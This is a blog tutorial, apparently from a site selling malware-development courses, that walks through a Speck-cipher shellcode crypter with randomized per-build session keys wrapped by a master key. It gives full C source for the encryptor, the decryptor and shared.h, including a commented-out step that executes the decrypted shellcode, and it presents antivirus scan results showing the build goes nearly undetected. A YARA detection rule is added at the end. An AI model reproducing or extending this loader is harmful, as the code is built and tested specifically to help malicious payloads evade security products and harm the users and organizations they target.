Welcome to this post, in today's post we take our previous Speck shellcode encryption implementation a step further by introducing dynamic session keys.
Instead of relying on a static encryption key, we now generate a random session key for each build. The shellcode is encrypted with this session key, and then the session key itself is encrypted using a hardcoded master key.
Both the encrypted payload and the wrapped key are shipped together, and the loader only needs the master key to recover the session key at runtime.

Courses: Learn how real malware works on Windows OS from beginner to advanced taking our courses, all explained in C++.
Technique Database: Access 50+ real malware techniques with weekly updates, complete with code, PoCs, and AV scan results:
Malware Techniques Database
Explore an ever-growing collection of malware techniques
0x12darkdev.net
Modules: Dive deep into essential malware topics with our modular training program! Get a new module every 14 days. Start at just $1.99 per module, or unlock lifetime access to all modules for $100.
Introduction
The first part of this post it's here:
In this new version of the project, we are moving away from static key encryption and implementing a key wrapping model with dynamic session keys.
Previously, the shellcode was encrypted using a single hardcoded key. While functional, this approach has an important limitation: every build produces structurally similar encrypted output. If the key remains constant, patterns may become reusable across samples, which increases signature stability and weakens operational variability.
To address this, we introduce a two-layer encryption design:
Generate a Random Session Key
For each build, we generate a random session key. This key is used exclusively to encrypt the shellcode payload.
Because the session key changes per build, the encrypted shellcode also changes, even if the original payload remains identical.
Wrap the Session Key
Instead of embedding the session key directly in plaintext, we encrypt it using a hardcoded master key.
This process is known as key wrapping:
Shellcode → Encrypted with Session KeySession Key → Encrypted with Master Key
The final shipped blob contains:
- The encrypted shellcode
- The encrypted (wrapped) session key
Runtime Decryption Flow
At runtime, the loader performs the following steps:
- Use the embedded master key to decrypt (unwrap) the session key
- Use the recovered session key to decrypt the shellcode
- Execute the decrypted payload
The loader only needs the master key. The actual shellcode encryption key is never stored in plaintext
Code
Encrypt
// Output blob layout:
// [0 .. 15] session key wrapped with master key (ECB)
// [16 .. 31] IV (random, plaintext)
// [32 .. 35] original payload length (uint32_t LE, plaintext)
// [36 .. N ] payload encrypted with session key (CBC, zero-padded)
#include "shared.h"
int main(void) {
generateCrc32Table();
srand((unsigned int)time(NULL));
unsigned char payload[] = "\xb7\xd6\x35\x14\x03\x1b\x35\x86\x0d\xbc\x35\x4d\x42";
int payloadLen = (int)(sizeof(payload) - 1);
int paddedLen = (payloadLen + BLOCK_BYTES - 1) & ~(BLOCK_BYTES - 1);
// ── 1. Generate a fresh random session key ────────────────────────────
uint64_t sessionKey[2] = { rand64(), rand64() };
printf("[*] Session key (plaintext): %016llx %016llx\n",
(unsigned long long)sessionKey[0],
(unsigned long long)sessionKey[1]);
// ── 2. Wrap session key with master key (single ECB block) ────────────
uint64_t masterKey[2] = { MASTER_KEY_0, MASTER_KEY_1 };
uint64_t wrappedKey[2] = { sessionKey[0], sessionKey[1] };
speckKeySchedule(masterKey);
speckEncrypt(&wrappedKey[0], &wrappedKey[1]);
printf("[*] Wrapped session key: %016llx %016llx\n",
(unsigned long long)wrappedKey[0],
(unsigned long long)wrappedKey[1]);
// ── 3. Generate random IV ─────────────────────────────────────────────
uint64_t iv[2] = { rand64(), rand64() };
// ── 4. Prepare padded payload buffer (zero-padded) ────────────────────
unsigned char* padded = (unsigned char*)calloc(1, paddedLen);
if (!padded) { fprintf(stderr, "[-] calloc failed\n"); return 1; }
memcpy(padded, payload, payloadLen);
// CRC32 of original payload (printed so decryptor can verify)
uint32_t origCrc = crc32(payload, (size_t)payloadLen);
printf("[*] Original payload CRC32: 0x%08X\n", origCrc);
printf("[*] Original payload length: %d bytes\n", payloadLen);
// ── 5. Encrypt payload with session key (CBC) ─────────────────────────
speckKeySchedule(sessionKey); // re-schedule with session key
cbcEncrypt(padded, paddedLen, iv);
// ── 6. Assemble final blob ────────────────────────────────────────────
// [wrappedKey 16B][IV 16B][origLen 4B][ciphertext paddedLen B]
int blobLen = BLOB_PAYLOAD_OFFSET + paddedLen;
unsigned char* blob = (unsigned char*)calloc(1, blobLen);
if (!blob) { fprintf(stderr, "[-] malloc failed\n"); free(padded); return 1; }
memcpy(blob + BLOB_WRAPPED_KEY_OFFSET, wrappedKey, 16);
memcpy(blob + BLOB_IV_OFFSET, iv, 16);
// Store original length as little-endian uint32
uint32_t origLen32 = (uint32_t)payloadLen;
memcpy(blob + BLOB_ORIGLEN_OFFSET, &origLen32, 4);
memcpy(blob + BLOB_PAYLOAD_OFFSET, padded, paddedLen);
// ── 7. Print blob as C-style hex string ───────────────────────────────
printf("\n[+] Encrypted blob (%d bytes) — paste into decryptor:\n\n", blobLen);
printf("unsigned char encryptedBlob[] =\n \"");
for (int i = 0; i < blobLen; i++) {
printf("\\x%02x", blob[i]);
if ((i + 1) % 16 == 0 && (i + 1) < blobLen)
printf("\"\n \"");
}
printf("\";\n");
free(padded);
free(blob);
return 0;
}Generate a Random Session Key
uint64_t sessionKey[2] = { rand64(), rand64() };For every build, we generate a fresh 128-bit session key. This key is used to encrypt the payload and ensures that each encrypted blob is unique
Wrap the Session Key with the Master Key (ECB)
speckKeySchedule(masterKey);
speckEncrypt(&wrappedKey[0], &wrappedKey[1]);The session key is encrypted using a hardcoded master key.
This is the key wrapping step:
- The session key protects the payload
- The master key protects the session key
The loader only needs the master key to recover everything.
Generate a Random IV
uint64_t iv[2] = { rand64(), rand64() };A random Initialization Vector (IV) is generated for CBC mode. This ensures that even identical payloads encrypted with the same session key would produce different ciphertext.
Pad the Payload
int paddedLen = (payloadLen + BLOCK_BYTES - 1) & ~(BLOCK_BYTES - 1);CBC mode requires full blocks. We zero-pad the payload to align it to the cipher's block size.
The original payload length is stored separately so we can recover it later.
Encrypt Payload with Session Key (CBC)
speckKeySchedule(sessionKey);
cbcEncrypt(padded, paddedLen, iv);Now we switch the cipher schedule to the session key and encrypt the payload using CBC moe
At this point:
- The payload is encrypted
- The session key is wrapped
- The IV is ready
Assemble the Final Blob
[wrapped key][IV][original length][ciphertext]The final blob layout is:
16 bytes → Wrapped session key
16 bytes → IV
4 bytes → Original payload length
N bytes → Encrypted payloadThis structure contains everything needed for decryption, except the master key.
Decrypt
// 1. Run the encryptor to get the encrypted blob + printed CRC32.
// 2. Paste the blob into encryptedBlob[] below.
// 3. Compile and run — the decryptor recovers and verifies the payload.
//
// The decryptor NEVER needs the session key directly.
// It unwraps it from the first 16 bytes of the blob using the master key.
#include "shared.h"
// ── Paste encryptor output here ───────────────────────────────────────────
unsigned char encryptedBlob[] =
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // wrapped key
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // IV
"\x00\x00\x00\x00" // orig length
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"; // ciphertext
// ─────────────────────────────────────────────────────────────────────────
int main(void) {
generateCrc32Table();
// ── 1. Extract wrapped session key and IV from blob header ────────────
uint64_t wrappedKey[2];
uint64_t iv[2];
uint32_t origLen;
memcpy(wrappedKey, encryptedBlob + BLOB_WRAPPED_KEY_OFFSET, 16);
memcpy(iv, encryptedBlob + BLOB_IV_OFFSET, 16);
memcpy(&origLen, encryptedBlob + BLOB_ORIGLEN_OFFSET, 4);
// Derive paddedLen from the blob's total size
int blobLen = (int)(sizeof(encryptedBlob) - 1); // -1 for null terminator
int paddedLen = blobLen - BLOB_PAYLOAD_OFFSET;
printf("[*] Blob size: %d bytes\n", blobLen);
printf("[*] Original payload length: %u bytes\n", origLen);
printf("[*] Wrapped session key: %016llx %016llx\n",
(unsigned long long)wrappedKey[0],
(unsigned long long)wrappedKey[1]);
// ── 2. Unwrap session key with master key (ECB decrypt) ───────────────
uint64_t masterKey[2] = { MASTER_KEY_0, MASTER_KEY_1 };
speckKeySchedule(masterKey);
speckDecrypt(&wrappedKey[0], &wrappedKey[1]);
uint64_t sessionKey[2] = { wrappedKey[0], wrappedKey[1] };
printf("[*] Recovered session key: %016llx %016llx\n",
(unsigned long long)sessionKey[0],
(unsigned long long)sessionKey[1]);
// ── 3. Copy ciphertext into working buffer ────────────────────────────
unsigned char* decrypted = (unsigned char*)malloc(paddedLen);
if (!decrypted) { fprintf(stderr, "[-] malloc failed\n"); return 1; }
memcpy(decrypted, encryptedBlob + BLOB_PAYLOAD_OFFSET, paddedLen);
// ── 4. Decrypt with session key (CBC) ─────────────────────────────────
speckKeySchedule(sessionKey); // re-schedule with session key
cbcDecrypt(decrypted, paddedLen, iv);
// ── 5. Print recovered payload (up to original length) ────────────────
printf("\n[+] Decrypted payload (%u bytes):\n", origLen);
for (uint32_t i = 0; i < origLen; i++)
printf("\\x%02x", decrypted[i]);
printf("\n\n");
// ── 6. CRC32 integrity check over original length only ────────────────
uint32_t decCrc = crc32(decrypted, origLen);
printf("[*] Decrypted CRC32: 0x%08X\n", decCrc);
printf("[!] Compare with the CRC32 printed by the encryptor.\n");
printf(" If they match: decryption succeeded.\n");
printf(" If they differ: wrong master key or blob is corrupted.\n");
// Optional: execute recovered shellcode (uncomment when ready)
// void (*shellcode)() = (void(*)())decrypted;
// shellcode();
free(decrypted);
return 0;
}Extract Header Fields
memcpy(wrappedKey, encryptedBlob + BLOB_WRAPPED_KEY_OFFSET, 16);The decryptor reads:
- The wrapped session key
- The IV
- The original payload length
These are stored in the blob header
Unwrap the Session Key
speckKeySchedule(masterKey);
speckDecrypt(&wrappedKey[0], &wrappedKey[1]);Using the hardcoded master key, we decrypt the wrapped session key.
Now we have the original session key that was generated during encryption.
The decryptor never stores or ships this key in plaintext, it just reconstructs it at runtime.
Decrypt the Payload (CBC)
speckKeySchedule(sessionKey);
cbcDecrypt(decrypted, paddedLen, iv);We reconfigure the cipher using the recovered session key and decrypt the payload using the stored IV.
This restores the padded original shellcode.
Restore Original Payload Length
for (uint32_t i = 0; i < origLen; i++)Because we padded the payload during encryption, we only print (or execute) up to the original stored length.
This removes the zero-padding automatically.
What This Architecture Achieves
- The payload is encrypted with a unique session key
- The session key is protected by a master key
- The decryptor only needs the master key
- Every build produces a structurally different encrypted blob
This transforms a simple static encryption scheme into a layered key management.
shared.h
#pragma once
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <stdlib.h>
#include <time.h>
// ─────────────────────────────────────────────
// SHARED SECRET – keep identical in both projects
// ─────────────────────────────────────────────
#define MASTER_KEY_0 0xDEADBEEFCAFEBABEULL
#define MASTER_KEY_1 0x0BADF00DDEA0C0DEULL
// ─────────────────────────────────────────────
// Blob layout (bytes)
// [0 .. 15] wrapped session key (ECB-encrypted with master key)
// [16 .. 31] IV (random, plaintext)
// [32 .. 35] original payload length (uint32_t LE, plaintext)
// [36 .. N ] CBC-encrypted payload (zero-padded to BLOCK_BYTES)
// ─────────────────────────────────────────────
#define BLOB_WRAPPED_KEY_OFFSET 0
#define BLOB_IV_OFFSET 16
#define BLOB_ORIGLEN_OFFSET 32
#define BLOB_PAYLOAD_OFFSET 36
#define ROUNDS 45
#define BLOCK_BYTES 16
// ─────────────────────────────────────────────
// Global round-key array (filled by speckKeySchedule)
// ─────────────────────────────────────────────
static uint64_t roundKeys[ROUNDS];
// ─────────────────────────────────────────────
// CRC-32
// ─────────────────────────────────────────────
static uint32_t crc32Table[256];
static void generateCrc32Table(void) {
for (uint32_t i = 0; i < 256; i++) {
uint32_t c = i;
for (int j = 0; j < 8; j++)
c = (c & 1) ? (0xEDB88320u ^ (c >> 1)) : (c >> 1);
crc32Table[i] = c;
}
}
static uint32_t crc32(const unsigned char* data, size_t length) {
uint32_t crc = 0xFFFFFFFFu;
for (size_t i = 0; i < length; i++)
crc = crc32Table[(crc ^ data[i]) & 0xFF] ^ (crc >> 8);
return crc ^ 0xFFFFFFFFu;
}
// ─────────────────────────────────────────────
// Speck-128/128 primitives
// ─────────────────────────────────────────────
static uint64_t rol(uint64_t x, int r) { return (x << r) | (x >> (64 - r)); }
static uint64_t ror(uint64_t x, int r) { return (x >> r) | (x << (64 - r)); }
static void speckKeySchedule(uint64_t key[2]) {
roundKeys[0] = key[0];
uint64_t b = key[1];
for (int i = 0; i < ROUNDS - 1; i++) {
b = (ror(b, 8) + roundKeys[i]) ^ (uint64_t)i;
roundKeys[i + 1] = rol(roundKeys[i], 3) ^ b;
}
}
static void speckEncrypt(uint64_t* x, uint64_t* y) {
for (int i = 0; i < ROUNDS; i++) {
*x = (ror(*x, 8) + *y) ^ roundKeys[i];
*y = rol(*y, 3) ^ *x;
}
}
static void speckDecrypt(uint64_t* x, uint64_t* y) {
for (int i = ROUNDS - 1; i >= 0; i--) {
*y = ror(*y ^ *x, 3);
*x = rol((*x ^ roundKeys[i]) - *y, 8);
}
}
// ─────────────────────────────────────────────
// Helpers
// ─────────────────────────────────────────────
static uint64_t rand64(void) {
return ((uint64_t)rand() << 32) | (uint64_t)rand();
}
// CBC encrypt in-place (data must be padded to multiple of BLOCK_BYTES)
static void cbcEncrypt(unsigned char* data, int len, uint64_t iv[2]) {
uint64_t prev[2] = { iv[0], iv[1] };
for (int i = 0; i < len; i += BLOCK_BYTES) {
uint64_t* block = (uint64_t*)(data + i);
block[0] ^= prev[0];
block[1] ^= prev[1];
speckEncrypt(&block[0], &block[1]);
prev[0] = block[0];
prev[1] = block[1];
}
}
// CBC decrypt in-place (data must be padded to multiple of BLOCK_BYTES)
static void cbcDecrypt(unsigned char* data, int len, uint64_t iv[2]) {
uint64_t prev[2] = { iv[0], iv[1] };
for (int i = 0; i < len; i += BLOCK_BYTES) {
uint64_t* block = (uint64_t*)(data + i);
uint64_t temp[2] = { block[0], block[1] };
speckDecrypt(&block[0], &block[1]);
block[0] ^= prev[0];
block[1] ^= prev[1];
prev[0] = temp[0];
prev[1] = temp[1];
}
}Proof of Concept
Windows 11:
Encrypt
[*] Session key (plaintext): 000075e80000535c 0000652100005de2
[*] Original CRC32: 0x6B92B1B6
[+] Encrypted blob:
"\x52\x75\x71\x83\x9f\x21\xc6\x0b\xbd\x2e\x1e\xec\x8e\x26\x75\x0b"
"\xcb\x4f\x00\x00\x21\x24\x00\x00\x42\x7c\x00\x00\xcb\x61\x00\x00"
"\x0d\x00\x00\x00\xd0\xd2\x4d\x30\xa7\xe6\x7e\x48\x1f\xf4\x20\x9d"
"\x3e\x1f\xe2\x9f";Decrypt
[*] Original length: 13 bytes
[+] Decrypted payload:
\xb7\xd6\x35\x14\x03\x1b\x35\x86\x0d\xbc\x35\x4d\x42
[*] CRC32: 0x6B92B1B6
Perfect!
Detection
Now it's time to see if the defenses are detecting this as a malicious threat. Remember we aren't using any malicious shellcode, and in this case in decrypt mode.
Kleenscan API
[*] Antivirus Scan Results:
- alyac | Status: ok | Flag: Undetected | Updated: 2026-02-22
- amiti | Status: ok | Flag: Undetected | Updated: 2026-02-22
- arcabit | Status: ok | Flag: Undetected | Updated: 2026-02-22
- avast | Status: ok | Flag: Undetected | Updated: 2026-02-22
- avg | Status: ok | Flag: Undetected | Updated: 2026-02-22
- avira | Status: scanning | Flag: Scanning results incomplete | Updated: 2026-02-22
- bullguard | Status: ok | Flag: Undetected | Updated: 2026-02-22
- clamav | Status: ok | Flag: Undetected | Updated: 2026-02-22
- comodolinux | Status: ok | Flag: Undetected | Updated: 2026-02-22
- crowdstrike | Status: ok | Flag: Undetected | Updated: 2026-02-22
- drweb | Status: ok | Flag: Undetected | Updated: 2026-02-22
- emsisoft | Status: ok | Flag: Undetected | Updated: 2026-02-22
- escan | Status: ok | Flag: Undetected | Updated: 2026-02-22
- fprot | Status: ok | Flag: Undetected | Updated: 2026-02-22
- fsecure | Status: scanning | Flag: Scanning results incomplete | Updated: 2026-02-22
- gdata | Status: ok | Flag: Undetected | Updated: 2026-02-22
- ikarus | Status: ok | Flag: Undetected | Updated: 2026-02-22
- immunet | Status: ok | Flag: Undetected | Updated: 2026-02-22
- kaspersky | Status: failed | Flag: Scanning results incomplete | Updated: 2026-02-22
- maxsecure | Status: ok | Flag: Undetected | Updated: 2026-02-22
- mcafee | Status: ok | Flag: Undetected | Updated: 2026-02-22
- microsoftdefender | Status: ok | Flag: Undetected | Updated: 2026-02-22
- nano | Status: ok | Flag: Undetected | Updated: 2026-02-22
- nod32 | Status: ok | Flag: Undetected | Updated: 2026-02-22
- norman | Status: ok | Flag: Undetected | Updated: 2026-02-22
- secureageapex | Status: ok | Flag: Malicious | Updated: 2026-02-22
- seqrite | Status: ok | Flag: Undetected | Updated: 2026-02-22
- sophos | Status: ok | Flag: Undetected | Updated: 2026-02-22
- threatdown | Status: ok | Flag: Undetected | Updated: 2026-02-22
- trendmicro | Status: ok | Flag: Undetected | Updated: 2026-02-22
- vba32 | Status: ok | Flag: Undetected | Updated: 2026-02-22
- virusfighter | Status: ok | Flag: Undetected | Updated: 2026-02-22
- xvirus | Status: ok | Flag: Undetected | Updated: 2026-02-22
- zillya | Status: ok | Flag: Undetected | Updated: 2026-02-22
- zonealarm | Status: scanning | Flag: Scanning results incomplete | Updated: 2026-02-22
- zoner | Status: ok | Flag: Undetected | Updated: 2026-02-22
[+] Result saved to: results/SpeckShellcodeEncryptionDynamicKey.exe.txtLitterbox
Static Analysis:

ThreatCheck

Windows Defender
Not detected as malicious!
YARA
Here a YARA rule to detect this technique:
rule Speck_CBC_KeyWrapping_Shellcode_Loader
{
meta:
author = "0x12 Dark Development"
description = "Detects Speck block cipher usage with CBC mode and session key wrapping — common in custom shellcode loaders/encryptors"
category = "malware/crypter"
reference = "https://cocomelonc.github.io/malware/2025/05/29/malware-cryptography-42.html"
date = "2026-02-23"
strings:
// ── Speck-128 rotation constants (ROL 3 / ROR 8) ──────────────────
// These are the defining operations of Speck-128 key schedule and round function.
// Compiler usually emits these as immediate shift values in tight loops.
// ROR 8 on 64-bit: shr rax, 8 + shl rcx, 56 pattern (or ror rax, 8)
$speck_ror8_x64 = { 48 C1 E? 08 } // shr/shl reg64, 8
$speck_rol3_x64 = { 48 C1 E? 03 } // shr/shl reg64, 3
$speck_ror8_x86 = { C1 E? 08 } // shr/shl reg32, 8
$speck_rol3_x86 = { C1 E? 03 } // shr/shl reg32, 3
// ── CRC32 software table-driven implementation ─────────────────────
// The standard reflected polynomial 0xEDB88320 — appears as a 32-bit
// immediate in the conditional XOR inside the table generation loop.
$crc32_poly = { 20 83 B8 ED } // 0xEDB88320 little-endian
// CRC32 init value 0xFFFFFFFF and final XOR (same value)
$crc32_init = { FF FF FF FF }
// ── CBC mode XOR-before-encrypt pattern ───────────────────────────
// block[0] ^= prev[0]; block[1] ^= prev[1]; before calling encrypt
// Results in back-to-back 64-bit XOR instructions on memory operands
$cbc_xor_x64 = { 48 33 ?? ?? ?? ?? ?? 48 33 ?? ?? ?? ?? ?? }
// ── Key wrapping pattern ───────────────────────────────────────────
// Session key encrypted with master key (ECB, single block).
// Typically: two sequential speckEncrypt calls or a single ECB call
// before the main CBC loop. We look for two consecutive encrypt
// round-loop entries within close range.
// ── Blob header layout fingerprint ────────────────────────────────
// BLOB_PAYLOAD_OFFSET = 36 (0x24): memcpy(..., buf+36, ...) appears
// as an add/lea with immediate 0x24 feeding into a memcpy/mov sequence
$blob_offset_36 = { 83 C? 24 } // add reg, 0x24
$blob_offset_36b = { 8D ?? 24 } // lea reg, [reg+0x24]
// ── Blob header: IV at offset 16 (0x10) ───────────────────────────
$blob_offset_16 = { 83 C? 10 } // add reg, 0x10
$blob_offset_16b = { 8D ?? 10 } // lea reg, [reg+0x10]
// ── rand() seeded with time(NULL) — common IV/key generation ──────
$srand_time = { FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? } // call time; push eax; call srand
// ── calloc(1, n) + memcpy pattern — padded buffer allocation ──────
$calloc_1 = { 6A 01 } // push 1 (calloc first arg)
// ── Strings / debug artifacts that survive stripped binaries ───────
$str_session_key = "Session key" ascii wide nocase
$str_wrapped_key = "Wrapped" ascii wide nocase
$str_crc32_ok = "CRC32" ascii wide nocase
$str_decrypt_ok = "Decryption OK" ascii wide nocase
$str_decrypt_fail = "Decryption FAIL" ascii wide nocase
$str_encrypt_mode = "ENCRYPT_MODE" ascii wide
$str_decrypt_mode = "DECRYPT_MODE" ascii wide
condition:
uint16(0) == 0x5A4D // MZ header — PE file
and filesize < 5MB
and (
// Confident hit: rotation constants + CRC polynomial + CBC XOR
(
( $speck_ror8_x64 and $speck_rol3_x64 ) or
( $speck_ror8_x86 and $speck_rol3_x86 )
)
and $crc32_poly
and $cbc_xor_x64
)
or (
// Debug/non-stripped binary with telltale strings
2 of ($str_session_key, $str_wrapped_key, $str_crc32_ok,
$str_decrypt_ok, $str_decrypt_fail)
and $crc32_poly
)
or (
// Blob layout fingerprint: both key offset (0x10) and
// payload offset (0x24) present alongside Speck rotations
( $blob_offset_36 or $blob_offset_36b )
and ( $blob_offset_16 or $blob_offset_16b )
and ( $speck_ror8_x64 or $speck_ror8_x86 )
and $crc32_poly
)
}Here you have my collection of YARA rules:
Conclusions
By moving from a static key to a session key wrapped with a master key, we've added a meaningful layer of operational variability to the Speck-based shellcode loader. Every build now produces a structurally unique encrypted blob, reducing signature stability and making static analysis harder without changing the underlying cipher or loader logic. The decryptor remains simple. it only needs the master key to reconstruct everything at runtime. This pattern is a practical foundation that can be extended further, whether by hardening the master key storage, replacing rand() with a cryptographically secure source, or layering additional obfuscation on top of the blob structure.
📌 Follow me: YouTube | 🐦 X | 💬 Discord Server | 📸 Instagram | Newsletter
We help security teams enhance offensive capabilities with precision-built tooling and expert guidance, from custom malware to advanced evasion strategies
S12.